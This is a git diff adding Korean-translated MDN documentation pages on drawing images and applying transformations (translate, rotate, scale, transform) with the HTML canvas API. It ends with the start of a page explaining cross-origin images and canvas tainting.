+<pre class="brush: js;highlight[5] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function() {
+    ctx.drawImage(img, 0, 0);
+    ctx.beginPath();
+    ctx.moveTo(30, 96);
+    ctx.lineTo(70, 66);
+    ctx.lineTo(103, 76);
+    ctx.lineTo(170, 15);
+    ctx.stroke();
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png';
+}</pre>
+
+<p>The resulting graph looks like this:</p>
+
+<p>{{EmbedLiveSample("Example_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}</p>
+
+<h2 id="비례_크기_조정">비례 크기 조정</h2>
+
+<p>The second variant of the <code>drawImage()</code> method adds two new parameters and lets us place scaled images on the canvas.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y, width, height)")}}</dt>
+ <dd>This adds the <code>width</code> and <code>height</code> parameters, which indicate the size to which to scale the image when drawing it onto the canvas.</dd>
+</dl>
+
+<h3 id="예제_이미지를_타일처럼_배치">예제: 이미지를 타일처럼 배치</h3>
+
+<p>In this example, we'll use an image as a wallpaper and repeat it several times on the canvas. This is done simply by looping and placing the scaled images at different positions. In the code below, the first <code>for</code> loop iterates over the rows. The second <code>for</code> loop iterates over the columns. The image is scaled to one third of its original size, which is 50x38 pixels.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Images can become blurry when scaling up or grainy if they're scaled down too much. Scaling is probably best not done if you've got some text in it which needs to remain legible.</p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function() {
+    for (var i = 0; i &lt; 4; i++) {
+      for (var j = 0; j &lt; 3; j++) {
+        ctx.drawImage(img, j * 50, i * 38, 50, 38);
+      }
+    }
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+}</pre>
+
+<p>The resulting canvas looks like this:</p>
+
+<p>{{EmbedLiveSample("Example_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}</p>
+
+<h2 id="이미지_자르기">이미지 자르기</h2>
+
+<p>The third and last variant of the <code>drawImage()</code> method has eight parameters in addition to the image source. It lets us cut out a section of the source image, then scale and draw it on our canvas.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}</dt>
+ <dd>Given an <code>image</code>, this function takes the area of the source image specified by the rectangle whose top-left corner is (<code>sx</code>, <code>sy</code>) and whose width and height are <code>sWidth</code> and <code>sHeight</code> and draws it into the canvas, placing it on the canvas at (<code>dx</code>, <code>dy</code>) and scaling it to the size specified by <code>dWidth</code> and <code>dHeight</code>.</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/225/Canvas_drawimage.jpg" style="float: right; height: 290px; width: 300px;">To really understand what this does, it may help to look at the image to the right. The first four parameters define the location and size of the slice on the source image. The last four parameters define the rectangle into which to draw the image on the destination canvas.</p>
+
+<p>Slicing can be a useful tool when you want to make compositions. You could have all elements in a single image file and use this method to composite a complete drawing. For instance, if you want to make a chart you could have a PNG image containing all the necessary text in a single file and depending on your data could change the scale of your chart fairly easily. Another advantage is that you don't need to load every image individually, which can improve load performance.</p>
+
+<h3 id="예제_이미지_프레임_넣기">예제: 이미지 프레임 넣기</h3>
+
+<p>In this example, we'll use the same rhino as in the previous example, but we'll slice out its head and composite it into a picture frame. The picture frame image is a 24-bit PNG which includes a drop shadow. Because 24-bit PNG images include a full 8-bit alpha channel, unlike GIF and 8-bit PNG images, it can be placed onto any background without worrying about a matte color.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;div style="display:none;"&gt;
+ &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227"&gt;
+ &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+ &lt;/div&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="brush: js notranslate">function draw() {
+ var canvas = document.getElementById('canvas');
+ var ctx = canvas.getContext('2d');
+
+ // Draw slice
+ ctx.drawImage(document.getElementById('source'),
+ 33, 71, 104, 124, 21, 20, 87, 104);
+
+ // Draw frame
+ ctx.drawImage(document.getElementById('frame'), 0, 0);
+}</pre>
+
+<p>We took a different approach to loading the images this time. Instead of loading them by creating new {{domxref("HTMLImageElement")}} objects, we included them as {{HTMLElement("img")}} tags directly in our HTML source and retrieved the images from those. The images are hidden from output by setting the CSS property {{cssxref("display")}} to none for those images.</p>
+
+<p>{{EmbedLiveSample("Example_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}</p>
+
+<p>The script itself is very simple. Each {{HTMLElement("img")}} is assigned an ID attribute, which makes them easy to select using {{domxref("document.getElementById()")}}. We then simply use <code>drawImage()</code> to slice the rhino out of the first image and scale him onto the canvas, then draw the frame on top using a second <code>drawImage()</code> call.</p>
+
+<h2 id="아트_갤러리_예제">아트 갤러리 예제</h2>
+
+<p>In the final example of this chapter, we'll build a little art gallery. The gallery consists of a table containing several images. When the page is loaded, a {{HTMLElement("canvas")}}  element is inserted for each image and a frame is drawn around it.</p>
+
+<p>In this case, every image has a fixed width and height, as does the frame that's drawn around them. You could enhance the script so that it uses the image's width and height to make the frame fit perfectly around it.</p>
+
+<p>The code below should be self-explanatory. We loop through the {{domxref("document.images")}} container and add new canvas elements accordingly. Probably the only thing to note, for those not so familiar with the DOM, is the use of the {{domxref("Node.insertBefore")}} method. <code>insertBefore()</code> is a method of the parent node (a table cell) of the element (the image) before which we want to insert our new node (the canvas element).</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+    &lt;table&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+    &lt;/table&gt;
+ &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>And here's some CSS to make things look nice:</p>
+
+<pre class="brush: css notranslate">body {
+ background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
+ margin: 10px;
+}
+
+img {
+ display: none;
+}
+
+table {
+ margin: 0 auto;
+}
+
+td {
+ padding: 15px;
+}
+</pre>
+
+<p>Tying it all together is the JavaScript to draw our framed images:</p>
+
+<pre class="brush: js notranslate">function draw() {
+
+ // Loop through all images
+ for (var i = 0; i &lt; document.images.length; i++) {
+
+ // Don't add a canvas for the frame image
+ if (document.images[i].getAttribute('id') != 'frame') {
+
+ // Create canvas element
+ canvas = document.createElement('canvas');
+ canvas.setAttribute('width', 132);
+ canvas.setAttribute('height', 150);
+
+ // Insert before the image
+ document.images[i].parentNode.insertBefore(canvas,document.images[i]);
+
+ ctx = canvas.getContext('2d');
+
+ // Draw image to canvas
+ ctx.drawImage(document.images[i], 15, 20);
+
+ // Add frame
+ ctx.drawImage(document.getElementById('frame'), 0, 0);
+ }
+ }
+}</pre>
+
+<p>{{EmbedLiveSample("Art_gallery_example", 725, 400)}}</p>
+
+<h2 id="이미지_비율_습성scaling_behavior_제어하기">이미지 비율 습성(scaling behavior) 제어하기</h2>
+
+<p>As mentioned previously, scaling images can result in fuzzy or blocky artifacts due to the scaling process. You can use the drawing context's {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} property to control the use of image smoothing algorithms when scaling images within your context. By default, this is <code>true</code>, meaning images will be smoothed when scaled. You can disable this feature like this:</p>
+
+<pre class="brush: js notranslate">ctx.mozImageSmoothingEnabled = false;
+ctx.webkitImageSmoothingEnabled = false;
+ctx.msImageSmoothingEnabled = false;
+ctx.imageSmoothingEnabled = false;
+</pre>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/변형/index.html b/files/ko/web/html/canvas/tutorial/변형/index.html
new file mode 100644
index 0000000000..b93747b581
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/변형/index.html
@@ -0,0 +1,286 @@
+---
+title: 변형 (transformations)
+slug: Web/HTML/Canvas/Tutorial/변형
+tags:
+ - CSS
+ - HTML
+ - 이동
+ - 축소
+ - 캔버스
+ - 크기변형
+ - 트랜스폼
+ - 확대
+translation_of: Web/API/Canvas_API/Tutorial/Transformations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</div>
+
+<div class="summary">이 튜토리얼에 앞서 <a href="/ko/docs/Web/HTML/Canvas/Tutorial/Drawing_shapes">canvas 그리드</a>와 <strong>좌표 공간</strong>에 대해 알아 보았습니다. 지금까지는 기본적인 그리드를 사용해 요구에 맞추어 전체 canvas의 크기를 바꾸기만 했습니다. Transformation(변형)에는 그리드를 원점에서 다른 위치로 옮기고, 회전하며, 확대·축소까지 하는 더 강력한 방법들이 있습니다.</div>
+
+<h2 id="Saving_and_restoring_state" name="Saving_and_restoring_state">상태(state)의 저장과 복원</h2>
+
+<p>변형(transformation) 메소드을 살펴보기 전에 두 가지 다른 메소드를 보도록 하지요. 일단 여러분이 더 복잡한 그림(drawings)을 그리기 시작하면 반드시 있어야 하는 메소드들입니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt>
+ <dd>canvas의 모든 상태를 저장합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt>
+ <dd>가장 최근에 저장된 canvas 상태를 복원합니다.</dd>
+</dl>
+
+<p>Canvas 상태는 스택(stack)에 쌓입니다. <code>save()</code> 메소드가 호출될 때마다 현재 drawing 상태가 스택 위로 푸시됩니다. drawing 상태는 다음과 같이 이루어집니다.</p>
+
+<ul>
+ <li>이전부터 적용된 변형(가령,  <code>translate</code>과 <code>rotate</code>와 <code>scale</code> 같은 – 아래의 내용을 보세요).</li>
+ <li>다음 속성(attributes)의 현재 값:<br>
+ {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.</li>
+ <li>현재의 <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing#Clipping_paths">clipping path</a>, 이것은 다음 섹션에서 다루겠습니다.</li>
+</ul>
+
+<p>여러분은 원하는 만큼 <code>save()</code> 메소드를 많이 호출할 수 있습니다. <code>restore()</code> 메소드를 호출할 때마다 마지막으로 저장된 상태가 스택에서 튀어나와 저장된 설정들을 모두 복원시킵니다.</p>
+
+<h3 id="A_save_and_restore_canvas_state_example" name="A_save_and_restore_canvas_state_example"><code>save</code>와 <code>restore</code> canvas 상태(state) 예제</h3>
+
+<p>사각형 세트를 연이어 그려서 drawing 상태를 가진 스택이 어떻게 기능하는지를 이 예제에서 설명하고자 합니다.</p>
+
+<pre class="brush: js; highlight:[5,10,15,18]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ ctx.fillRect(0, 0, 150, 150); // 기본 설정으로 사각형을 그리기
+ ctx.save(); // 기본 상태를 저장하기
+
+ ctx.fillStyle = '#09F'; // 설정 변경하기
+ ctx.fillRect(15, 15, 120, 120); // 새로운 설정으로 사각형 그리기
+
+ ctx.save(); // 현재 상태 저장하기
+ ctx.fillStyle = '#FFF'; // 설정 변경하기
+ ctx.globalAlpha = 0.5;
+ ctx.fillRect(30, 30, 90, 90); // 새로운 설정으로 사각형 그리기
+
+ ctx.restore(); // 이전 상태 복원하기
+ ctx.fillRect(45, 45, 60, 60); // 복원된 설정으로 사각형 그리기
+
+ ctx.restore(); // 초기 상태를 복원하기
+ ctx.fillRect(60, 60, 30, 30); // 복원된 설정으로 사각형 그리기
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>첫 단계로 기본 설정으로 커다란 사각형을 그립니다. 그다음에는 이 상태를 저장하고 fill color를 바꿉니다. 그런 후에 두 번째이자 크기가 더 작은 파란 사각형을 그리고 그 상태를 저장합니다. 다시 한번 일부 drawing 설정을 바꾸고 세 번째 반투명한 흰 사각형을 그립니다. </p>
+
+<p>여기까지는 이전 섹션에서 했던 작업과 매우 유사합니다. 하지만 일단 첫 번째 <code>restore()</code> 문을 호출하면 스택에서 맨 위의 drawing 상태가 지워지고 설정이 복원됩니다. 만일 <code>save()</code>로 저장하지 않았다면, 이전 상태로 되돌리기 위해 fill color와 투명도를 일일이 바꿔주어야 했을 것입니다. 두 속성이라서 간단했을 테지만 그보다 더 많았으면 코드가 급속히 길어졌겠지요. </p>
+
+<p>두 번째 <code>restore()</code>문이 호출될 때, 초기 상태( 처음으로 <code>save</code>를 호출하기 전에 설정한 상태)가 복원되고 마지막 사각형은 한번 더 검게 그려집니다.</p>
+
+<p>{{EmbedLiveSample("A_save_and_restore_canvas_state_example", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}</p>
+
+<h2 id="Translating" name="Translating">이동(translating)</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/234/Canvas_grid_translate.png" style="float: right;">우리가 살펴볼 첫 번째 변형 메소드는 <code>translate()</code>입니다.  이 메소드는 그리드에서 canvas를 원점에서 다른 점으로 옮기는 데 사용됩니다. </p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.translate", "translate(x, y)")}}</dt>
+ <dd>그리드에서 canvas와 그 원점을 이동합니다. <code>x</code>는 이동시킬 수평 거리를 가리키고, <code>y</code>는 그리드에서 수직으로 얼마나 멀리 떨어지는지를 표시합니다. </dd>
+</dl>
+
+<p>변형하기 전에 canvas 상태를 저장하는 것이 좋습니다. 대다수의 경우, 원래 상태로 되돌리려고 역이동(reverse translation)을 시키는 것보다 <code>restore</code> 메소드를 호출하는 것이 더욱 간편합니다. 게다가 루프(loop) 안에서 이동하는 거라면 canvas 상태를 저장하고 복원하지 마세요. canvas 모서리 밖에서 그려지는 바람에 drawing의 일부를 잃어버리게 될지 모릅니다. </p>
+
+<h3 id="A_translate_example" name="A_translate_example"><code>translate</code> 예제</h3>
+
+<p>이 예제에서 canvas 원점의 이동에 관한 좋은 점을 일부 보여드리겠습니다. <code>translate()</code> 메소드를 쓰지 않으면 모든 사각형은 같은 위치 (0, 0)에 그려집니다. 또한, <code>translate()</code> 메소드는 사각형을 <code>fillRect()</code> function에서 좌표를 일일이 적으며 바꾸지 않아도 어디에나 위치할 수 있게 해줍니다. 이렇게 하면 이해하고 사용하기가 좀 더 쉽습니다. </p>
+
+<p> <code>draw()</code> function에서 두 개의 루프(loops)를 이용해 <code>fillRect()</code> function을 아홉 번 호출합니다. 루프마다 canvas가 이동하고 사각형이 그려지며, canvas는 원래 상태로 되돌아 갑니다. <code>fillRect()</code>로의 호출이 <code>translate()</code>에 의지해 drawing 위치를 바꾸는데 어떻게 매번 같은 좌표를 사용하는지 눈여겨 보세요.</p>
+
+<pre class="brush: js; highlight:[7]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+ for (var i = 0; i &lt; 3; i++) {
+ for (var j = 0; j &lt; 3; j++) {
+ ctx.save();
+ ctx.fillStyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)';
+ ctx.translate(10 + j * 50, 10 + i * 50);
+ ctx.fillRect(0, 0, 25, 25);
+ ctx.restore();
+ }
+ }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_translate_example", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}</p>
+
+<h2 id="Rotating" name="Rotating">회전(rotating)</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;">두 번째 변형 메소드는 <code>rotate()</code>입니다. canvas를 현재의 원점 둘레로 회전하는 데 사용합니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate", "rotate(angle)")}}</dt>
+ <dd>canvas를 현재 원점을 기준으로 라디안의 <code>angle</code> 숫자만큼 시계방향으로 회전시킵니다.</dd>
+</dl>
+
+<p>회전의 중심점은 언제나 canvas 원점입니다. 중심점을 바꾸려면 <code>translate()</code> 메소드를 써서 canvas를 이동해야 합니다.</p>
+
+<h3 id="A_rotate_example" name="A_rotate_example"><code>rotate</code> 예제</h3>
+
+<p>이 예제는 사각형을 canvas 원점에서 먼저 회전하고 그다음에 <code>translate()</code>의 도움을 받아 사각형 자체의 중심에서 회전하는 데 <code>rotate()</code>를 사용합니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 각도의 단위는 도(degree)가 아닌 라디안(radian)입니다.   변환하려면 <code>radians = (Math.PI/180)*degrees</code>.를 사용합니다.</p>
+</div>
+
+<pre class="brush: js; highlight:[9, 23]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ // 좌측 사각형, canvas 원점에서 회전하기
+ ctx.save();
+ // 파란 사각형
+ ctx.fillStyle = '#0095DD';
+ ctx.fillRect(30, 30, 100, 100);
+ ctx.rotate((Math.PI / 180) * 25);
+ // 회색 사각형
+ ctx.fillStyle = '#4D4E53';
+ ctx.fillRect(30, 30, 100, 100);
+ ctx.restore();
+
+ // 우측 사각형, 사각형 중심에서 회전하기
+ // 파란 사각형 그리기
+ ctx.fillStyle = '#0095DD';
+ ctx.fillRect(150, 30, 100, 100);
+
+ ctx.translate(200, 80); // 사각형 중심으로 이동하기
+ // x = x + 0.5 * width
+ // y = y + 0.5 * height
+ ctx.rotate((Math.PI / 180) * 25); // 회전
+ ctx.translate(-200, -80); // 예전 위치로 이동하기
+
+ // 회색 사각형 그리기
+ ctx.fillStyle = '#4D4E53';
+ ctx.fillRect(150, 30, 100, 100);
+}
+</pre>
+
+<p>사각형 자체의 중심 둘레로 회전하려면 사각형의 중심으로 canvas를 옮기세요. 그런 후에 canvas를 회전하고, 그 canvas를 0, 0로 되돌려 이동합니다. 그다음에 사각형을 그리세요.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_rotate_example", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}</p>
+
+<h2 id="Scaling" name="Scaling">확대·축소(scaling)</h2>
+
+<p>다음 변형 메소드는 확대·축소(scaling)입니다. canvas 그리드에서 단위(units)를 키우거나 줄이는 데 사용합니다. 이는 벡터 모양과 비트맵(bitmaps) 요소를 축소하거나 확대해서 그리는 데 사용될 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.scale", "scale(x, y)")}}</dt>
+ <dd>canvas 단위를 수평으로 x만큼, 수직으로 y만큼 크기를 확대·축소합니다. 둘의 매개 변수는 실수입니다. 1.0보다 작은 값이면 단위의 크기를 축소하고, 1.0보다 큰 값이면 단위의 크기를 확대합니다. 값이 1.0이면 단위의 크기는 그대로입니다.</dd>
+</dl>
+
+<p>음수를 이용해서 축을 대칭 시킬 수 있습니다(가령 <code>translate(0,canvas.height); scale(1,-1);</code>로 쓰는 것처럼 말이죠. 좌측 하단 모서리에 있는 원점을 이용한, 잘 알려진 카르테시안 좌표계(Cartesian coordinate)인 것이지요.</p>
+
+<p>기본적으로 canvas에서 하나의 단위는 정확히 1픽셀입니다. 예를 들어 0.5라는 확대·축소 비율을 적용한다면, 결과로 나오는 단위는 0.5 픽셀이 될 것이고, 고로 모양도 절반 크기로 그려질 것입니다. 이런 방식으로 크기 비율을 2.0으로 잡으면 단위 크기가 확대되어 하나의 단위는 이제 2픽셀이 되겠지요. 이 결과로 모양은 그만큼 2배로 커집니다.</p>
+
+<h3 id="A_scale_example" name="A_scale_example"><code>scale</code> 예제</h3>
+
+<p>마지막 예제로 다양한 확대·축소 비율을 이용해 모양을 그려보겠습니다.</p>
+
+<pre class="brush: js; highlight:[6,11]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ // 간단하지만 확대·축소 비율을 적용한 사각형 그리기
+ ctx.save();
+ ctx.scale(10, 3);
+ ctx.fillRect(1, 10, 10, 10);
+ ctx.restore();
+
+ // 수평으로 대칭하기
+ ctx.scale(-1, 1);
+ ctx.font = '48px serif';
+ ctx.fillText('MDN', -135, 120);
+}
+
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_scale_example", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}</p>
+
+<h2 id="Transforms" name="Transforms">변형(transforms)</h2>
+
+<p>마지막으로, 다음의 변형(transform) 메소드들은 변환 행렬(transformation matrix)로 변경할 사항을 즉시 적용할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}</dt>
+ <dd>인수(arguments)에 표시된 행렬을 이용해 현재 변환 행렬을 곱합니다. 변환 행렬은 다음과 같이 작성됩니다. <br>
+ <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{array} \right]</annotation></semantics></math></dd>
+</dl>
+
+<dl>
+ <dd>만일 인수 중에 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>가 있다면, 변환 행렬은 예외 처리하는 메소드 대신에 반드시 infinite로 표시되어야 합니다.</dd>
+</dl>
+
+<p>이 function의 매개 변수들은 다음과 같습니다.</p>
+
+<dl>
+ <dt><code>a (m11)</code></dt>
+ <dd>수평으로 확대·축소하기</dd>
+ <dt><em><code>b (m12)</code></em></dt>
+ <dd>수평으로 비스듬히 기울이기</dd>
+ <dt><code>c (m21)</code></dt>
+ <dd>수직으로 비스듬히 기울이기</dd>
+ <dt><code>d (m22)</code></dt>
+ <dd>수직으로 확대·축소하기</dd>
+ <dt><code>e (dx)</code></dt>
+ <dd>수평으로 이동하기</dd>
+ <dt><code>f (dy)</code></dt>
+ <dd>수직으로 이동하기</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform", "setTransform(a, b, c, d, e, f)")}}</dt>
+ <dd>현재 변형 상태를 단위 행렬로 재설정하고 나서 동일한 인수로 <code>transform()</code> 메소드를 적용합니다. 이는 기본적으로 현재의 변형을 무효로 한 후에 명시된 변형으로 바뀌는데, 한번에 모든 게 진행됩니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform", "resetTransform()")}}</dt>
+ <dd>현재 변형 상태를 단위 행렬로 재설정합니다. 이는 <code>ctx.setTransform(1, 0, 0, 1, 0, 0);</code> 호출과 같습니다.</dd>
+</dl>
+
+<h3 id="transform과_setTransform_예제"><code>transform</code>과 <code>setTransform</code> 예제</h3>
+
+<pre class="brush: js; highlight:[12,15]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ var sin = Math.sin(Math.PI / 6);
+ var cos = Math.cos(Math.PI / 6);
+ ctx.translate(100, 100);
+ var c = 0;
+ for (var i = 0; i &lt;= 12; i++) {
+ c = Math.floor(255 / 12 * i);
+ ctx.fillStyle = 'rgb(' + c + ', ' + c + ', ' + c + ')';
+ ctx.fillRect(0, 0, 100, 10);
+ ctx.transform(cos, sin, -sin, cos, 0, 0);
+ }
+
+ ctx.setTransform(-1, 0, 0, 1, 100, 100);
+ ctx.fillStyle = 'rgba(255, 128, 255, 0.5)';
+ ctx.fillRect(0, 50, 100, 100);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="200" height="250"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Example_for_transform_and_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</p>
diff --git a/files/ko/web/html/cors_enabled_image/index.html b/files/ko/web/html/cors_enabled_image/index.html
new file mode 100644
index 0000000000..5d3dfae121
--- /dev/null
+++ b/files/ko/web/html/cors_enabled_image/index.html
@@ -0,0 +1,112 @@
+---
+title: 교차 출처 이미지와 캔버스 허용하기
+slug: Web/HTML/CORS_enabled_image
+translation_of: Web/HTML/CORS_enabled_image
+---
+<p><span class="seoSummary">HTML은 이미지 처리를 위해 {{Glossary("CORS")}} header를 포함하고 있는 {{ htmlattrxref("crossorigin", "img") }} 속성을 제공합니다. 이는 {{ HTMLElement("img") }} 요소에서 정의된, 외부 origin으로 부터 가져오는 이미지가 {{HTMLElement("canvas")}}에서 사용할 수 있도록 해줍니다. 마치 현재 origin에서 가져온 것처럼 말입니다</span></p>
+
+<p><code>crossorigin</code> 속성이 어떻게 사용되는지 자세히 알고 싶다면, <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a> 를 참고하세요.</p>
+
+<h2 id="보안과_오염된_canvas들">보안과 오염된 canvas들</h2>
+
+<p>다른 호스트들에 있는 이미지나 비디오를 포함한 canvas 비트맵의 픽셀들은 다양한 출처로 부터 가져오기 때문에, 보안과 관련된 문제를 피할 수 없습니다.</p>
+
+<p>CORS를 통하지 않고, 다른 origin으로 부터 가져온 데이터들은 canvas에 그려지는 즉시 canvas는 <strong>오염</strong>됩니다. 오염된 canvas는 더 이상 안전하지 않은 것으로 여겨지고, canvas 이미지에서 데이터를 가져오려는 어떤 시도든 exception이 발생합니다.</p>
+
+<p>만약 외부 출처 콘텐츠가 HTML {{HTMLElement("img")}} 또는 SVG {{SVGElement("svg")}} 요소라면, canvas의 콘텐츠를 가져오려는 시도는 허용되지 않습니다.</p>
+
